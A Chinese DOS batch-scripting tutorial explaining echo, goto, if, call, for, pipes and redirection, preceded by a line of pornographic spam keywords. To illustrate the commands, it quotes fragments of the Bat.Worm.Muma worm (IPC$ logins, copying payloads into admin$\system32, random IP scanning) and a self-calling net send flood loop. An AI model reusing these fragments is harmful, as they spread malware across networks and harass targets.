久久精品国产精品国产精品污,男人扒开添女人下部免费视频,一级国产69式性姿势免费视频,夜鲁夜鲁很鲁在线视频 视频,欧美丰满少妇一区二区三区,国产偷国产偷亚洲高清人乐享,中文 在线 日韩 亚洲 欧美,熟妇人妻无乱码中文字幕真矢织江,一区二区三区人妻制服国产

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

DOS 批处理

發布時間:2024/7/23 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DOS 批处理 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

?

From:?http://www.jb51.net/article/97204.htm

From:?http://www.92to.com/bangong/2016/04-08/2998914.html

百度文庫:目前為止最全的批處理教程

?

?

批處理經典入門教程

?

? ? ? ? 批處理的本質,是一堆DOS命令按一定順序排列而形成的集合。?

? ? ? ? 批處理,也稱為批處理腳本,英文譯為BATCH,批處理文件后綴BAT就取的前三個字母。它的構成沒有固定格式,只要遵守以下這條就ok了:每一行可視為一個命令,每個命令里可以含多條子命令,從第一行開始執行,直到最后一行結束,它運行的平臺是DOS。批處理有一個很鮮明的特點:使用方便、靈活,功能強大,自動化程度高。

?

例一、先給出一個最 easy?的批處理腳本讓大家和它混個臉熟。

將下面的幾行命令保存為 name.bat 然后執行( 以后文中只給出代碼,保存和執行方式類似):

ping sz.tencent.com > a.txt ping sz1.tencent.com >> a.txt ping sz2.tencent.com >> a.txt ping sz3.tencent.com >> a.txt ping sz4.tencent.com >> a.txt ping sz5.tencent.com >> a.txt ping sz6.tencent.com >> a.txt ping sz7.tencent.com >> a.txt exit

是不是都能看的懂?是不是很easy?但它的作用卻是很實用的,執行這個批處理后,可以在你的當前盤建立一個名為a.txt的文件,它里面記錄的信息可以幫助你迅速找到速度最快的QQ服務器,從而遠離“從服務器中轉”那一痛苦的過程。這里>的意思,是把前面命令得到的東西放到后面所給的地方,>>的作用,和>的相同,區別是把結果追加到前一行得出的結果的后面,具體的說是下一行,而前面一行命令得出的結果將保留,這樣可以使這個a.txt文件越來越大(想到如何搞破壞了??)。By the way,這個批處理還可以和其他命令結合,搞成完全自動化判斷服務器速度的東東,執行后直接顯示速度最快的服務器IP,是不是很爽?后面還將詳細介紹。

?

例二、再給出一個已經過時的例子(a.bat)

@echo off if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

?

例三,使用批處理腳本查是否中冰河。腳本內容如下:

@echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" del a.txt pause & exit

這里利用了 netstat 命令,檢查所有的網絡端口狀態,只需要你清楚常見木馬所使用的端口,就能很 easy 的判斷出來是否被人種了冰河。然這不是確定的,因為冰河默認的端口 7626,完全可以被人修改。這里介紹的只是方法和思路。這里介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的腳本了,再改動一下,加進去參數和端口及信息列表文件后,就變 成自動檢測所有木馬的腳本了。呵呵,是不是很過癮?腳本中還利用了組合命令 && 和 管道命令 | ,后面將詳細介紹。

?

例四,借批處理自動清除系統垃圾。

腳本如下:

@echo off if exist c:\windows\temp\*.* del c:\windows\temp\*.* if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* if exist c:\windows\History\*.* del c:\windows\History\*.* if exist c:\windows\recent\*.* del c:\windows\recent\*.*

將以上腳本內容保存到 autoexec.bat 里,每次開機時就把系統垃圾給自動刪除了。

這里需要注意兩點:

  • 一、DOS 不支持長文件名,所以就出現了 Tempor~1 這個東東;
  • 二、可根據自己的實際情況進行改動,使其符合自己的要求。

現在由淺入深的介紹批處理中常用的命令,很多常見 DOS 命令在批處理腳本中有這廣泛的應用,它們是批處理腳本的 BODY 部分,但批處理比 DOS 更靈活多樣,更具備自動化。要學好批處理,DOS 一定要有比較扎實的基礎。這里只講述一些比較少用(相對來說)的 DOS命令,常用命令如 COPY、DIR 等就不做介紹了。。。

?

例五,先看一個實例。

這是一個很有意思的腳本,一個小巧實用的好東東,把批處理 “自動化” 的特點體現的淋漓盡致。

? ? ? ? 先介紹一下這個腳本的來歷:大家都知道匯編程序(MASM)的上機過程,先要對源代碼進行匯編、連接,然后再執行,而這中間有很多環節需要輸入很多東西,麻煩的很(只有經歷過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞匯編課程設計時,我 “被逼” 寫了這個腳本,用起來很爽,呵呵??纯茨_本內容:

@echo off ::close echo cls ::clean screen echo This programme is to make the MASM programme automate ::display info echo Edit by CODERED ::display info echo Mailto me : qqkiller***@sina.com ::display info if "%1"=="" goto usage ::if input without paramater goto usage if "%1"=="/?" goto usage ::if paramater is "/?" goto usage if "%1"=="help" goto usage ::if paramater is "help" goto usage pause ::pause to see usage masm %1.asm ::assemble the .asm code if errorlevel 1 pause & edit %1.asm ::if error pause to see error msg and edit the code link %1.obj & %1 ::else link the .obj file and execute the .exe file :usage ::set usage echo Usage: This BAT file name [asm file name] echo Default BAT file name is START.BAT ::display usage

? ? ? ? 先不要被這一堆的東西給嚇怕了,靜下心來仔細的看(回想一下第一章中第一段是怎么寫的!!)。已經給出了每一行命令的解釋,兩個冒號后面的內容為前一行內容解釋的E文(害怕E文的朋友也不用擔心,都很easy,一看就懂了,實在不懂了不會查詞典啊,這么懶?),在腳本執行時不顯示,也不起任何作用。倒數第5行行首有一個冒號,可不是筆誤哦!具體作用后面會詳細講到。此腳本中masm和link是匯編程序和連接程序,必須和edit程序以及你要編輯的源代碼(當然還有這個腳本,廢話!)一起在當前目錄中。使用這個批處理腳本,可以最大可能的減少手工輸入,整個過程中只需要按幾下回車鍵,即可實現從匯編源代碼到可執行exe文件的自動化轉換,并具備智能判斷功能:如果匯編時源代碼出現錯誤(匯編不成功),則自動暫停顯示錯誤信息,并在按任意鍵后自動進入編輯源代碼界面;如果源代碼匯編成功,則進行連接,并在連接后自動執行生成的exe文件。另外,由于批處理命令的簡單性和靈活性,這個腳本還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。

? ? ? ? 在這個腳本中出現了如下幾個命令:@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個命令。

?

1、@ at 符號

這個符號大家都不陌生,email的必備符號,它怎么會跑到批處理中呢?呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。它的作用是讓執行窗口中不顯示它后面這一行的命令本身(多么繞口的一句話!)。呵呵,通俗一點說,行首有了它的話,這一行的命令就不顯示了。在例五中,首行的@echo off中,@的作用就是讓腳本在執行時不顯示后面的echo off部分。這下懂了吧?還是不太懂?沒關系,看完echo命令簡介,自然就懂了。

?

2、echo

中文為“反饋”、“回顯”的意思。它其實是一個開關命令,就是說它只有兩種狀態:打開和關閉。于是就有了echo on 和echo off兩個命令了。直接執行echo命令將顯示當前echo命令狀態(off或on)執行echo off將關閉回顯,它后面的所有命令都不顯示命令本身,只顯示執行后的結果,除非執行echo on命令。在例五中,首行的@命令和echo off命令聯合起來,達到了兩個目的:不顯示echo off命令本身,不顯示以后各行中的命令本身。的確是有點亂,但你要是練習一下的話,3分鐘包會,不會的退錢!

echo命令的另一種用法一:可以用它來顯示信息!如例五中倒數第二行,Default BAT file name is START.BAT將在腳本執行后的窗口中顯示,而echo命令本身不顯示(為什么??)。
echo命令的另一種用法二:可以直接編輯文本文件。

echo nbtstat -A 192.168.0.1 > a.bat echo nbtstat -A 192.168.0.2 >> a.bat echo nbtstat -A 192.168.0.3 >> a.bat

以上腳本內容的編輯方法是,直接是命令行輸入,每行一回車。最后就會在當前目錄下生成一個a.bat的文件,直接執行就會得到結果。

?

CHOICE :

????????選擇命令。這是一個DOS外部命令,但它主要用在批文件中。?
? ? ? ? CHOICE命令執行后將提示可選擇的項目,這時通過一個按鍵來選則。??

????????用法:CHOICE:[/C[:]按鍵表] [/N] [/S] [/T[:]選擇值,秒數] [顯示文本]
????????其中,/C 表示可選則的按鍵,
? ? ? ? ? ? ? /N 表示不要顯示提示信息,
? ? ? ? ? ? ? /S 表示大小寫字符敏感方式,
? ? ? ? ? ? ? /T 表示若在批定的時間內沒有選則的話,自動執行/C中定義的某個選擇值。
? ? ? ? 顯示文本是CHOICE命令執行時的提示信息。選擇結果將用ERRORLEVEL值來表示。?

?

?

3、:: ?注釋

這個命令的作用很簡單,它是注釋命令,在批處理腳本中 和 rem 命令等效。它后面的內容在執行時不顯示,也不起任何作用,因為它只是注釋,只是增加了腳本的可讀性,和C語言中的/*…………*/類似。地球人都能看懂,就不多說了。

REM :
????????添加注解。用于增加文件可讀性,將不被執行。也可以用::來代替。

?

4、pause

中文為“暫停”的意思(看看你的 workman 上),我一直認為它是批處理中最簡單的一個命令,單純、實用。它的作用,是讓當前程序進程暫停一下,并顯示一行信息:請按任意鍵繼續. . .。在例五中這個命令運用了兩次,第一次的作用是讓使用者看清楚程序信息,第二個是顯示錯誤的匯編代碼信息(其實不是它想顯示,而是masm程序在顯示錯誤信息時被暫它停了,以便讓你看清楚你的源代碼錯在哪里)。

PAUSE :
????????暫停批文件的執行,并顯示“按任意鍵繼續”的字樣。

?

5、冒號 和 goto

為什么要把這兩個命令聯合起來介紹?因為它們是分不開的,無論少了哪個或多了哪個都會出錯。

  • goto 是個跳轉命令,
  • : 是一個標簽。

當程序運行到 goto 時,將自動跳轉到 : 定義的部分去執行了(是不是分不開?)。例五中倒數第5行行首出現一個:,則程序在運行到goto時就自動跳轉到:標簽定義的部分執行,結果是顯示腳本usage(usage就是標簽名稱)。不難看出,goto命令就是根據這個冒號和標簽名稱來尋找它該跳轉的地方,它們是一一對應的關系。goto命令也經常和if命令結合使用。

goto 命令的另一種用法 一:提前結束程序。在程序中間使用 goto 命令跳轉到某一標簽,而這一標簽的內容卻定義為退出。如:

…… goto end …… :end

這里 :end 在腳本最后一行!其實這個例子很弱智,后面講了 if 命令和組合命令你就知道了。

用法:GOTO [標號名]
????????其中,標號名是可以隨意設置的,如 Hello 等。設置標號用“:”符號,
? ? ? ? 如“:Hello”,這時用GOTO Hello命令將轉到“:Hello”所在的位置繼續執行批文件。

?

?

6、百分號

這個百分號嚴格來說是算不上命令的,它只是批處理中的參數而已(多個%一起使用的情況除外,以后還將詳細介紹),但千萬別以為它只是參數就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了??纯蠢?七:

net use \\%1\ipc$ %3 /u:"%2" copy 11.BAT \\%1\admin$\system32 /y copy 13.BAT \\%1\admin$\system32 /y copy ipc2.BAT \\%1\admin$\system32 /y copy NWZI.EXE \\%1\admin$\system32 /y attrib \\%1\admin$\system32?.bat -r -h -s

以上代碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執行形式為:腳本文件名 參數一 參數二 ……。假設這個腳本被保存為a.bat,則執行形式如下:a IP username password。這里IP、username、password是三個參數,缺一不可(因為程序不能正確運行,并不是因為少了參數語法就不對)這樣在腳本執行過程中,腳本就自動用用你的三個參數依次(記住,是依次!也是一一對應的關系。)代換1%、2%和3%,這樣就達到了靈活運用的目的(試想,如果在腳本中直接把IP、username和password都定義死,那么腳本的作用也就被固定了,但如果使用%的話,不同的參數可以達到不同的目的,是不是更靈活?)。

關于這個參數的使用,在后續章節中還將介紹。一定要非常熟練才行,這需要很多練習過程,需要下點狠工夫!

?

7、if

if 命令是一個表示判斷的命令,根據得出的每一個結果,它都可以對應一個相應的動作。關于它的三種用法,在這里分開講。

(1)、輸入判斷。還是用例五里面的那幾句吧:

if "%1"=="" goto usage if "%1"=="/?" goto usage if "%1"=="help" goto usage

這里判斷輸入的參數情況,如果參數為空(無參數),則跳轉到usage;如果參數為/?或help時(大家一般看一個命令的幫助,是不是輸入的/?或help呢,這里這么做只是為了讓這個腳本看起來更像一個真正的程序),也跳轉到usage。這里還可以用否定形式來表示“不等于”,例如:if not "%1"=="" goto usage,則表示如果輸入參數不為空就跳轉到usage

(2)、存在判斷(文件或者盤符)。再看例二里這句:

if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

如果存在那些gif文件,就刪除這些文件。當然還有例四,都是一樣的道理。注意,這里的條件判斷是判斷存在的,當然也可以判斷不存在的,例如下面這句“如果不存在那些gif文件則退出腳本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一個not來表示否定而已。

(3)、結果判斷。還是拿例五開刀(沒想到自己寫的腳本,竟然用處這么大,呵呵):

masm %1.asm if errorlevel 1 pause & edit %1.asm link %1.obj

先對源代碼進行匯編,如果失敗則暫停顯示錯誤信息,并在按任意鍵后自動進入編輯界面;否則用link程序連接生成的obj文件。這里只介紹一下和if命令有關的地方,&命令后面會講到。這種用法是先判斷前一個命令執行后的返回碼(也叫錯誤碼,DOS程序在運行完后都有返回碼),如果和定義的錯誤碼符合(這里定義的錯誤碼為1),則執行相應的好啊作( 這里相應的好啊作為pause & edit %1.asm部分)。

另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,代碼變為:

masm %1.asm if not errorlevel 1 link %1.obj pause & edit %1.asm

看到本質了吧?其實只是把結果判斷后所執行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執行成功(因為它是錯誤判斷,而且返回碼為0,0就表示否定,就是說這個錯誤不存在,就是說masm執行成功)。這里是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功腳本就肯定出錯,所以一定要體會的很深刻才行。如何體會的深刻?練習!自己寫一個腳本,然后把有not和沒有not的情況,返回碼為0或1的情況分別寫進去執行(怎么,嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了?后面介紹管道命令和組合命令時還有更麻煩的呢!怕了?呵呵。),這樣從執行的結果中就能很清楚的看出這兩種情況的區別。

這種用errorlevel結果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷返回碼,則要達到相同的效果,必須用else來表示“否則”的好啊作,是比較麻煩的。以上代碼必須變成:

masm %1.asm if exist %1.obj link %1.obj else pause & edit %1.asm

關于if命令的這三種用法就say到這里,理解很簡單,但應用時就不一定用的那么得心應手,主要是熟練程度的問題??赡苡械呐笥延悬c驚訝,我怎么沒給出類似下面三行的用法介紹,是因為下面三行是if命令幫助里對它自身用法的解釋,任何人只要一個“if /?”就能看到,我沒有必要在這里多費口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不一定看的懂,所以我采用上面自己對if命令的理解來介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實際上可以互換(以為從本質上講,這三種用法都是建立在判斷的基礎上的,哲學教我們學會透過現象看事物
本質!)。有興趣的朋友可以自己研究一下。

IF [NOT] ERRORLEVEL number do command IF [NOT] string1==string2 do command IF [NOT] EXIST filename do command

?

IF :
????????條件判斷命令。這是一項很有用的批處理命令。
????????用法1:IF [NOT] EXIST 文件名 命令 [命令參數]
????????意義:如果[不]存在某個文件將執行某個命令。
????????用法2:IF [NOT] ERRORLEVEL 錯誤返回代號 命令 [命令參數]
????????意義:如果錯誤返回代號[不]大于或等于指定的代號將執行某個命令。
????????其中,ERRORLEVEL表示錯誤返回代號,很有用。
????????對于很多DOS命令,由于執行的結果不同(如執行成功,執行失敗,或被用戶中斷等),
? ? ? ? 這些命令會返回不同的代號,以表示不同的結果。IF ERRORLEVEL命令就根據這個不同
?? ??? ?結果而產生的不同代號來執行不同的命令,通常用在某條命令之后。
????????如I F ERRORLEVEL 1 ECHO OK!表示如果當前的錯誤返回代號大于或等于1時將在屏幕
? ? ? ? 上顯示“OK!”的字樣。
????????用法3:IF [NOT] 字符串1==字符串2 命令 [命令參數]
????????意義:當字符串1和字符串2[不]相等的時候執行某個命令。

?

?

8、call

學過匯編或C的朋友,肯定都知道call指令表示什么意思了,在這里它的意思其實也是一樣的。在批處理腳本中,call命令用來從一個批處理腳本中調用另一個批處理腳本??蠢?#xff08;默認的三個腳本文件名分別為start.bat、10.bat和ipc.bat

start.bat: …… CALL 10.BAT 0 …… 10.bat: …… ECHO %IPA%.%1 >HFIND.TMP …… CALL ipc.bat IPCFind.txt ipc.bat: for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

在start.bat中,10.bat后面跟了參數0,在執行時的效果,其實就是把10.bat里的參數%1用0代替。在start.bat中,ipc.bat后面跟了參數ipcfind.txt(一個文件,也可以做參數),執行時的效果,就是用ipc.bat中的每一行的三個變量 (這里不懂沒關系,學過for命令后就懂了),對應代換ipc.bat中的%%i、%%j和%%k。這里參數調用是非常靈活的,使用時需要好好體會。在初學期間,可以先學習只調用腳本,至于連腳本的參數一起使用的情況,在后面的學習中自然就會有
比較深刻的理解,這是因為當你已經可以靈活運用批處理腳本后,如何使代碼寫的更精簡更完美更高效就自然包括到了考慮的范圍,這時候你就會發現在調用腳本時直接加入參數,可以使代碼效率加倍。By the way,上面的這幾個腳本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家將有機會見到這個病毒的真面目。
那是不是說,在同一個目錄下至少存在兩個批處理腳本文件(只有一個你調用誰?)?呵呵,注意了,這句話錯了!!只有一個照樣可以調用----調用自身!看例九(默認腳本文件名a.bat):

net send %1 This is a call example. call a.bat

這兩句一結合,效果自然不怎么樣,因為只有一臺機器來發消息,誰怕誰啊?我給你來個禮尚往來!可如果有100臺機器同時執行,而且每臺機器開10和窗口同時向一個目標機器發消息的話,呵呵。這里call a.bat的作用就是調用自身,執行完前一句net send命令后再調用自身,達到了循環執行的目的。 給出一個很有意思的腳本,有興趣的朋友可以實驗一下。例十(默認腳本文件名為a.bat):

?

9、find

這是一個搜索命令,用來在文件中搜索特定字符串,通常也作為條件判斷的鋪墊程序(我怎么突然想起了這四個字?)。
這個命令單獨使用的情況在批處理中是比較少見的,因為沒什么實際意義。還是借例三來說明:

@echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" del a.txt pause & exit

先用netstat命令檢查是否有冰河默認的端口7626在活動,并把結果保存到a.txt中。然后使用type命令列出a.txt中的內容,再在列出的內容中搜索字符串“7626” ,發現有的話則提示中了冰河,否則退出。看,find命令其實就這么簡單,但有一點必須要注意到:如果不使用type命令列出a.txt中的內容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必須得給出這個a.txt的絕對路徑(我試過了,find并沒有默認路徑就是當前路徑的功能,必須手動指定。也許是我錯了,歡迎指正)。因為在find命令的幫助里有這么一句話:如果沒有指定路徑,find將搜索鍵入的或者由另一個命令產生的文字。這里的“另一個命令”自然就指的type命令了。

至于find命令的其他幾個參數如v、n、i等,有興趣的朋友自己去研究吧,這已經屬于DOS學習的內容了,這里就不做介紹。關于find命令和其他命令的一些更精妙的用法(有些簡直令人叫絕),后續的教程中將介紹,希望關注。

?

10、for、set、shift

為什么把這三個命令放到一起來講?原因除了我說明外,恐怕誰也想不到!很簡單的一句話:其實我也不太懂!是的,對于這兩個命令,我是從研究Bat.Worm.Muma病毒開始學習的,時間過去了不少,但還是沒完全搞明白,我怕講出來連自己都看不懂,我更怕不小心講錯了成了罪人。所以我給出一個腳本去告訴你,如何讓這兩個命令給自己留一個初步的印象,其實也就是這兩個命令的入門,而并不是說如何領會這兩個命令。因為要領會如此精妙的兩個命令(特別是for)談何容易!也許你會表揚我說我誠實、不懂就不懂;也許你會罵我,讓我既然不懂就趕緊滾蛋,不要在這里丟人顯眼;也許你還會說一些別的這樣那樣好聽或不好聽的話,都隨便你了,即使我不同意你說的話,我也會誓死捍衛你說話的權利。看例十

@echo off for /? > for.txt set /? > set.txt shift /? >shift.txt exit

執行后在當前路徑下就生成for.txt、set.txt和shift.txt三個文件,里面分別記錄了for命令、set命令和shift命令的幫助信息。地球人都能看懂,我就不多說了。我在網上曾經找了很長時間這三個命令的教程,但都不理想,基本都是照搬的幫助信息。我想在自己完全掌握了這兩個命令后,一定要寫一篇用自己的文字總結出來的for、set和shift教程(關于shift命令,后面介紹批處理的參數時還將涉及到),一定會的,這是我的心愿之一!需要注意的一點是,這三個命令的幫助里 ,介紹的都比較死板,雖然也舉了一些例子,但這是遠遠不夠的。要掌握這兩個命令,最需要的就是耐心!沒寫錯,就是耐心。光是認真看完它們的幫助文字就已經需要足夠的耐心了,要進一步練習領會這兩個命令,難道不需要更大的耐心?實戰練習的機會我會留給你的,關鍵還是那句話,看你有沒有耐心去研究了??纯蠢?/p>

FOR :
? ? ? ? DOS下許多命令支持通配符,如?和*,可以一次指定一批文件,非常方便。
????????然而,并非所有的DOS命令都支持通配符,如TYPE(文件內容顯示命令)就不支持。
? ? ? ? 有了FOR命令就沒有關系了,利于它可以使TYPE命令可以一次顯示多個文件。
????????用法:FOR %變量名 IN (文件集) DO 命令 [命令參數]
????????注:以上是FOR命令的固定形式,IN和DO的位置必須正確,否則將提示語法錯誤。
????????如 FOR %F IN (*.*) DO TYPE %F命令就可以實現TYPE命令一次顯示多個文件。
????????注:%F是變量名,也可用%G等代替,但前后必須一致。在批文件中用%%F代替。

?

二:?
START.BAT:?
CALL MUMA.BAT?

SET IPA=192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n|find ":" >A.TMP FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT :START CALL RANDOM.BAT IF "%NUM1%"=="255" GOTO NEARAGAIN IF "%NUM1%"=="192" GOTO NEARAGAIN IF "%NUM1%"=="127" GOTO NEARAGAIN IF "%NUM2%"=="255" GOTO NEARAGAIN IF "%NUM3%"=="255" GOTO NEARAGAIN IF "%NUM4%"=="255" GOTO NEARAGAIN SET IPA=%NUM1%.%NUM2% ECHO START > A.LOG PING %IPA%.%NUM3%.1>B.TMP PING %IPA%.%NUM3%.%NUM4%>>B.TMP FIND /C /I "from" B.TMP IF ERRORLEVEL 1 GOTO START CALL 10.BAT %NUM3% DEL A.LOG GOTO START

這是Bat.Worm.Muma病毒的起始腳本,設置了病毒運行的環境變量。是不是看的頭都大了?又忘了寫在第一章第一段的那句話(靜下心來!),你應該能體會到學習這兩個命令所需要的耐心了吧。就如同去愛一個人,你得學會寬容,打不得罵不得,用你寬大的胸懷去包容她的一切,即使你發現愛她的過程如看上面代碼的過程一樣讓你頭大,但你還是得愛下去-
---愛需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風平浪靜后,最直觀的收獲就是,你的耐心變的前所未有的充足,面對她的復雜和善變,你自己會處變不驚,以自己的方式去從容應付曾經應付不了的場面,即使到最后一身傷痕,也會感慨曾經的舉動有多么偉大。

沒錯,這就是批處理的魅力,這就是愛的魅力。讓你受了傷還感謝傷你的人。這種感覺就好象在自己最喜歡的音樂聲中被人強奸,痛并快樂著。

不得不再次重申一遍,各種DOS命令是批處理的BODY(我實在找不出一個更合適的詞來形容他們之間的關系),學好DOS命令是學好批處理的前提。其他DOS命令如copy、dir、del、type、path、break、start等內部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批處理里的應用非常廣泛。這篇教程的作用,是教你認識批處理,以及如何利用DOS命令組合出來一個完美的批處理腳本,去讓它自動完成你想要它做的事情。而靈活自如的編輯一個批處理腳本是建立在熟練掌握DOS命令的基礎上的,這已經超出了本文的范疇,在此就不贅述了。

?

11、| 管道

這個命令恐怕大家不是很陌生,經常好啊作DOS的朋友都應該知道,當我們查看一個命令的幫助時,如果幫助信息比較長,一屏幕顯示不完時DOS并不給我們時間讓我們看完一屏幕再翻到另一屏幕,而是直接顯示到幫助信息的最后。如在提示符下輸入help回車時,就會看到當前DOS版本所支持的所有非隱含命令,但你只能看到最后的那些命令,前面的早就一閃
而過了,如何解決這個問題?看例十三:

help | more

回車后會發現顯示滿一屏幕后就自動暫停,等候繼續顯示其他信息。當按寫回車時,變成一個一個的出現;按下空格鍵時一屏幕一屏幕顯示,直到全部顯示完為止;按其他鍵自動停止返回DOS。 為什么會出現上述現象?答案很簡單,這里結合了管道命令|和DOS命令more來共同達到目的的。這里先簡單介紹一下help命令和more命令,對理解|命令的用法有很大幫助。

help命令。其實這個命令是不需要多說的,但在上述例子中help命令的用法比較特殊,直接在DOS提示符下輸入help命令,結果是讓DOS顯示其所支持的所有非隱含命令,而在其他地方用help命令,如輸入net help回車,則是顯示net命令的幫助信息。

more命令??赡芎芏嗯笥岩郧熬蜎]有接觸過這個命令,這個命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個命令去比較一下差別:more a.txt和type a.txt。利用more命令,可以達到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最后的結果就是只能看到末尾的部分。在例十三里,more命令的作用就是讓輸出的信息逐屏或逐行顯示。

看到這里,你是否已經能隱約感受到了|命令的作用了?沒錯,它的作用,就是把前一命令的輸出當后一命令的輸入來用的。在例十三里,前一命令的輸出,就是help命令執行后顯示的DOS所支持的所有非隱含命令,而這個結果剛好做了后一命令more的輸入。所以例十三和下面的例十四是等效的:

help > a.txt more a.txt del a.txt

?

12、>、>> 輸出重定向

這兩個命令的效果從本質上來說都是一樣的,他們都是輸出重定向命令,說的通俗一點,就是把前面命令的輸出寫入到一個文件中。這兩個命令的唯一區別是,>會清除掉原有文件中的內容后把新的內容寫入原文件,而>>只會另起一行追加新的內容到原文件中,而不會改動其中的原有內容。例十五:

echo @echo off > a.bat echo echo This is a pipeline command example. >> a.bat echo echo It is very easy? >> a.bat echo echo Believe your self! >> a.bat echo pause >> a.bat echo exit >> a.bat

依次在DOS提示符下輸入以上各行命令,一行一個回車,將在當前目錄下生成一個a.bat文件,里面的內容如下:

@echo off echo This is a pipeline command example. echo It is very easy? echo Believe your self! pause exit

看到這里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個文本,而不需要專門的文本編輯工具;2、管道命令>和>>的區別如上所述。如果這里只用>命令來完成上面好啊作,最后也會生成一個a.bat,但里面的內容就只剩下最后一行exit了。所以>和>>一般都聯合起來用,除非你重定向的輸出只有一行,那么就可以只用>了。結合例一再仔細體會輸出重定向管道命令>和>>的用法。

?

13、<、>&、<& 特殊管道

這三個命令也是管道命令,但它們一般不常用,你只需要知道一下就ok了,當然如果想仔細研究的話,可以自己查一下資料。

<,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤中讀入。
>&,將一個句柄的輸出寫入到另一個句柄的輸入中。
<&,剛好和>&相反,從一個句柄讀取輸入并將其寫入到另一個句柄輸出中。

關于這三個管道命令的舉例,在后面批處理腳本的精妙應用中還將涉及到。

?

下面介紹組合命令:&、&&、||

組合命令,顧名思義,就是可以把多個命令組合起來當一個命令來執行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡單----既然現在已經成了一個文件了,那么這多個命令就要用這些組合命令連接起來放在同一行----因為批處理認行不認命令數目。組合命令的作用,就如同給愛人陪不是,說一句是說,說十句也是說,不一次把好話都說了出來,效果可能會好些----當然得排除一種特殊情況:這些話是否有先后順序,有些話是否可以同時說。在批處理腳本里也一樣,有些時候某些命令是不能同時執行的,后面給你說。

?

14、& 一個與

這可以說是最簡單的一個組合命令了,它的作用是用來連接n個DOS命令,并把這些命令按順序執行,而不管是否有命令執行失敗。例十六:?

copy a.txt b.txt /y & del a.txt

其實這句和move a.txt b.txt的效果是一樣的,只不過前者是分了兩步來進行的(在后面還將涉及到具體使用哪種方法的問題)。這個命令很簡單,就不多費口舌了,唯一需要注意的一點是,這里&兩邊的命令是有執行順序的,從前往后執行 。

?

15、&& 兩個與

它可以把它前后兩個命令組合起來當一個命令來用,與&命令不同之處在于,它在從前往后依次執行被它連接的幾個命令時會自動判斷是否有某個命令執行出錯,一旦發現出錯后將不繼續執行后面剩下的命令。這就為我們自動化完成一些任務提供了方便。

你是否還記得“有些命令是不能同時執行的”?你是否相信這句話?當然得相信,不信就給你出道題:把C盤和D盤的文件和文件夾列出到a.txt文件中。你將如何來搞定這道題?有朋友說,這還不是很easy的問題嗎?同時執行兩個dir,然后把得到的結果>到a.txt里就ok了嘛,? ??例十八:dir c:\ && dir d:\ > a.txt
仔細研究一下這句執行后的結果,看看是否能達到題目的要求!錯了!這樣執行后a.txt里只有D盤的信息!為什么?就因為這里&&命令和>命令不能同時出現一個句子里(批處理把一行看成一個句子)!!組合命令&&的優先級沒有管道命令>的優先級高(自己總結的,不妥的地方請指正)!所以這句在執行時將本分成這兩部分:dir c:\和dir d:\ > a.txt,而并不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。要使用組合命令&&達到題目的要求,必須得這么寫:dir c:\ > a.txt && dir d:\ >> a.txt
這樣,依據優先級高低,DOS將把這句話分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會一下。
當然這里還可以利用&命令(自己想一下道理哦):dir c:\ > a.txt & dir d:\ >> a.txt

?

16、|| ?或?

這個命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執行多條命令時,當遇到一個執行正確的命令就退出此命令組合,不再繼續執行下面的命令。題目:查看當前目錄下是否有以s開頭的exe文件,如果有則退出。例十九:

@echo off dir s*.exe || exit

其實這個例子是有破綻的,你看出來了嗎?其實很簡單,自己試試就知道了嘛:如果存在那個exe文件,就退出;如果不存在那個exe文件,也退出!為什么?因為如果不存在那個.exe文件,則前一條命令dir s*.exe執行肯定是不成功的,所以就繼續執行exit,自然就退出了,呵呵。那么如何解決題目給出的問題呢?看例二十:

@echo off dir s*.exe || echo Didn't exist file s*.exe & pause & exit

這樣執行的結果,就能達到題目的要求,是否存在s*.exe將出現兩種結果。這里加暫停的意思,當然是讓你能看到echo輸出的內容,否則一閃而過的窗口,echo就白寫了。

